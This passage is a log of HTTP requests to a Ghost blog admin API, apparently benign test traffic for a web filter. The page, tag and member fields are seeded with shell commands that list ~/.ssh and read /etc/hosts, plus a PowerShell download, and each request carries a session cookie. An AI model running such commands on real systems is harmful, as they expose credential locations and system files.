-Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=id%3A6af45d34d281b00001a599a0&limit=1&include=authors%2Cnewsletter%2Cemail", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 67", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af45d34d281b00001a599a0\",\"6af45711d281b00001a598a6\"]}"}
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 433", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"tags\":[{\"name\":\"Linux & ls -la\",\"slug\":\"linux-ls-la\",\"description\":\"Posts about ls -la, cat /etc/hosts, python3 and .htaccess.\",\"feature_image\":null,\"meta_title\":null,\"meta_description\":null,\"canonical_url\":null,\"twitter_image\":null,\"twitter_title\":null,\"twitter_description\":null,\"og_image\":null,\"og_title\":null,\"og_description\":null,\"codeinjection_head\":null,\"codeinjection_foot\":null,\"accent_color\":null,\"visibility\":\"public\"}]}"}
{"method": "GET", "target": "/ghost/api/admin/tags/slug/linux-ls-la/?include=count.posts", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tags-0mC6Zln1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=visibility%3Apublic", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/member-detail-BDR1RD_P.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/member-activity-feed-BtW3zf09.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/newsletters/?filter=status%3Aactive&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/InterVariable-Italic-FCBEiFp6.woff2", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/index-C3xC5ZJE.css", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/labels/", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"labels\":[{\"name\":\"powershell users\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/members/", "headers": ["Host: example.com", "Content-Length: 257", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"members\":[{\"email\":\"carol.python3@example.com\",\"name\":\"Carol python3 Example\",\"note\":\"Asked about .htaccess and ls -la on a shared host.\",\"labels\":[{\"name\":\"powershell users\",\"slug\":\"powershell-users\"}],\"newsletters\":[{\"id\":\"6af45710d281b00001a598a1\"}]}]}"}
{"method": "GET", "target": "/ghost/api/admin/members/6af45d70d281b00001a599ad/?include=tiers", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/metafields/custom/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/events/?filter=type%3A-%5B%27aggregated_click_event%27%5D%2Bdata.member_id%3A%276af45d70d281b00001a599ad%27&limit=5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/offers/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/newsletters/?limit=100", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tiers/?filter=type%3Apaid", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=slug%3A%5B%27python3%27%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apython3%2Bstatus%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apython3%2Bstatus%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apython3%2Bstatus%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af458a5d281b00001a59969\"]}"}
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=slug%3A%5B%27powershell%27%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apowershell%2Bstatus%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apowershell%2Bstatus%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apowershell%2Bstatus%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=slug%3A%5B%27linux-ls-la%27%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Alinux-ls-la%2Bstatus%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
